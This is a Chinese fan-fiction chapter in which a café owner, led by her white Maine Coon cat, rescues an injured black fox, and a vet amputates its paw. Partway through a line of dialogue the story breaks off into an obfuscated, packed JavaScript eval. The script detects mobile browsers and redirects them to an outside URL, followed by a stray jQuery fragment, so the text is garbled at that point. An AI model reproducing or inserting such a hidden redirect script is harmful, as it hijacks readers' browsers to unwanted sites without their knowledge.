自从三个小学生成为咖啡厅的常客之后，“隅”的下午就再也没有安静过。
倒不是说他们吵闹，相反，虎杖悠仁、钉崎野蔷薇和伏黑惠这三个小孩坐在角落里写作业的时候，比大多数成年人都老实。
只是他们和砂糖的互动实在太多，一会儿虎杖高声叫道“五条老师不要睡在我的草稿本上”，一会儿钉崎暴躁地喊“不要咬我的习题册”，一会儿伏黑面无表情地举起猫说“它睡着了怎么办”。
而且最离谱的是，砂糖还会教三个小学生数学题，翘着尾巴从桌子左边走到右边，又从右边走到左边，谁要是算错了，或者计算慢了，就等着被一尾巴拍在脸上吧。
家入硝子一开始还会过去看一眼。后来就不看了。反正砂糖比他们加起来都精，爱怎么折腾就怎么折腾。
小林倒是很乐意围观，每次三人组来她都要凑过去问东问西：“今天作业多不多？你们上次数学考了多少分？惠惠你是不是又考第一？”
伏黑每次都是沉默，钉崎替他回答：“年级第一。”
小林就发出夸张的惊叹声，然后被硝子一句“你烤的蛋糕要糊了”喊回去。
日子就这么一天天过去。四月的尾巴从窗边溜走，五月的风开始带着点初夏的气息。
家入硝子站在咖啡厅的后院里，看着宠物医院原本的住院区位置。
一个月前这里还叠满了大大小小的笼子，猫叫狗吠此起彼伏，消毒水的味道混合着宠物粮的气息，是标准的“收容所”现场。现在不一样了，挤得满当的笼子已经空了大半，那些陈旧的垫子收起来了，满是牙印的喂食盆也只剩下零星几个。那些曾经无家可归的小东西们，正在以肉眼可见的速度减少，告别这里。
家入硝子露出了满意的表情。
小林和医生今天去定期走访被领养的流浪动物了，从城东跑到城西，一整天都回不来。三个小学生参加课外实践去了，也没来。店里只剩她一个人，干脆打了块“今日只供应饮品”的招牌，清静得很。她甚至有空给后院那几盆被砂糖咬得缺了角的绿植浇了水，又把咖啡厅的窗户打开通风。
五月初的风吹进来，带着点广玉兰的香气，白色和淡紫色的花瓣飘落在窗台上，一副落英缤纷的晚春景象。
就在她盘算着再送走几只就能清空住院区的时候，咖啡厅的玻璃门突然被推开了一道缝，一道毛绒绒的白影灵活地挤了进来。
家入硝子低头看着突然凑到自己脚边的砂糖有些愣神，她下意识看了一眼墙上的挂钟，下午三点四十七，按照这只猫平日的惯例，这个点应该还在学府路的矮墙上巡街，要不然就是去公园里和前几天刚结识的小学生混在一起，今天怎么这么快就回来了？
砂糖的反应很反常，不像平时那样懒洋洋地迈着猫步从她脚边蹭过去，而是绕在她脚边不停地转来转去，尾巴绷得笔直，喉咙里发出急促的“喵嗷”声。转了两圈之后，它又跑到门口，回头冲她叫，再跑回来咬她的裤脚往外挪。
这样的动作重复了几次，家入硝子眯起眼睛：“你想让我跟着你走？”
砂糖松开嘴冲着她响亮地叫了一声，尾巴急促地晃了晃，把门框拍得啪啪直响。
她低头看着那双蓝眼睛，平时这双眼睛里总是带着点欠揍的戏谑，好像天塌下来都无所谓。但今天不一样，里面有她没见过的焦急。
家入硝子解下身上的围裙，随手搭在椅背上，连店门都来不及拉上，就跟上白色的缅因猫，快步往外走去。
砂糖走得很快，却又时不时回头看她，生怕她跟不上。走到街角的电线杆下时，它突然停了下来，冲着电线杆的方向，低低地叫了一声。
硝子放慢了脚步，顺着砂糖的目光看去，电线杆下躺着一团模糊的黑色，不仔细看的话几乎要和黑色的围墙融为一体。
这场景太熟悉了。
一个月前，她也是在这个路口，在同样的电线杆下，捡到了腹部豁开、差点断成两截的砂糖。她抬头看了看天空，五月的阳光很好，棉絮一样的云铺在蔚蓝色的天空中，和那天暴雨倾盆的阴郁灰暗完全不一样。
她心里冒出一个奇怪的念头：难道这里是什么受伤动物刷新点？
稍微调侃了下冲淡心里的那份沉重，她放轻了脚步一点点靠近。
和上次不一样，这次的黑色狐狸还有意识，它缩着身子把自己团成一团，但凡察觉到有人靠近的瞬间，就立刻抬起头龇牙，喉咙里发出低沉的威胁声。也正是因为这样，路过的行人都远远地绕开，没人敢贸然上前。
家入硝子停在几步之外，她能看清那只狐狸的身形不大，黑色的毛发沾了些灰尘和泥土，显得有些狼狈。
白色的缅因猫蹲在不远不近的地方，冲着家入硝子抖了抖耳朵。
硝子探着头朝前看了看，看清了狐狸藏在身下的右爪。它的姿势不太对劲，那不是正常绻缩的样子，而是以一种别扭的角度压在身下，像是故意用身体遮掩住不露出来。
她心底一沉，蹲下身去和那双狭长的眼睛对视。
狐狸盯着她，龇起的牙没有丝毫收回的意思。它的眼睛是很深的琥珀色，里面倒映出她的影子，还有警惕、忍耐，以及某种她看不懂的东西。
家入硝子没动，她保持着蹲下的姿势，朝着狐狸的方向慢慢伸出手。
狐狸的喉咙里还在发出威胁声，它盯着那只靠得越来越近的手，耳朵紧紧贴在脑后。
如果真的被咬了，医生那里还有狂犬疫苗的针剂，不用去外面花钱……家入硝子漫无边际地想着，动作没有丝毫停顿。
就在这时，砂糖在旁边很轻地叫了一声，家入硝子不知道这只狐狸是不是能听懂它的意思，但在猫叫之后，那只狐狸喉咙里的威胁声渐渐低下去，龇起的牙也慢慢收了回去，只是依旧警惕地盯着她。
家入硝子微微一顿，她的手已经伸到了狐狸面前，距离对方湿润的鼻尖不到十厘米，她干脆继续向前，手指碰到对方皮毛的一瞬间，没被挠也没被咬。
狐狸只是盯着她，琥珀色的眼睛里警惕还在，但刚刚的凶狠和警惕已经褪去了大半。
“我还以为很凶，”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365220|199803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家入硝子轻声说着，手指在它的背上轻轻抚过，“原来都是虚张声势吗？”
她不再犹豫，小心地把它抱了起来。
硝子低头看了一眼脚边。
砂糖不知道什么时候已经安静下来了。刚才还焦急地绕着她转、咬着裤脚往外拖的那只猫，此刻只是蹲在不远不近的地方，静静地看着她和她怀里的狐狸。
那双蓝眼睛里的焦急已经消失了，取而代之的是一种很奇怪的平静。好像它知道，只要把硝子带到这里，接下来的事就不需要它再操心了。
狐狸身体的温度透过皮毛传到她手心里，还有细微的、不自主的颤抖。它没有挣扎，而是一直保持着全身紧绷的姿势，双爪小心翼翼地悬空着，不敢碰任何东西。
就在这时，她看到了对方那只一直藏在身下的右爪，前端断了一截，断口处血肉模糊。
家入硝子整个人愣在原地。风从街角吹过来，带着五月该有的暖意，但她突然觉得有点冷。
五分钟后，还在城东走访的医生，手机突然响了起来。他立刻接起，电话那头传来家入硝子的声音。
“有急诊，”她的声音很平静，但医生隐隐约约感觉到了某种不对劲，“现在回来。”
他没多问，挂了电话就马不停蹄地往回赶，留小林一个人站在领养人家门口，对着他远去的身影哀嚎：“我也要回去看急诊！别丢下我一个人啊！”
事实证明，宠物医院那些没来得及处理的设备，留在仓库里还是有道理的。
医生又穿上了久违的白大褂，戴上口罩和手套。硝子已经提前把仓库里的设备翻了出来，止血钳、消毒水、缝合针……一样一样地铺开在临时搭起的手术台上。
黑色的狐狸躺在手术台上，麻药的效力让它彻底安静下来，只有胸口的起伏证明它还活着。它的右爪小心翼翼地伸展着，断口处的血迹已经被硝子初步清理干净。
硝子照常在旁边帮忙，从递工具到配合止血、协助缝合，这套动作她一个月前做的时候还有点生疏，现在做起来已经得心应手了。医生的眼神在她手上停留了一瞬，什么都没说，但硝子知道他在想什么。
一个小时后，医生摘下沾血的手套，看着躺在垫子上、前爪缠满纱布的狐狸，皱着眉头喃喃道：“这狐狸以后就只有三只腿了，会影响它正常行走。”
硝子没说话，只是静静地站在旁边，目光落在那只狐狸身上。
麻药的劲还没过，它安静地躺在那里，胸口起伏平稳。纱布缠得很整齐，但谁都看得出来，右边那截空荡荡的。
她突然想起刚刚被抱在怀里时，对方一直盯着她的眼神。
好像在看她，又好像在看她身后很远的地方，和砂糖偶尔会露出来的眼神有点相似。
“给它做个假肢呢？”她突然转向医生，开口道。
医生愣了一下，显然没料到她会提出这样的想法。
旁边传来一声响亮的“喵”。
两人同时转头看去，砂糖正蹲在旁边的凳子上，尾巴翘得老高，蓝色的眼睛亮亮的。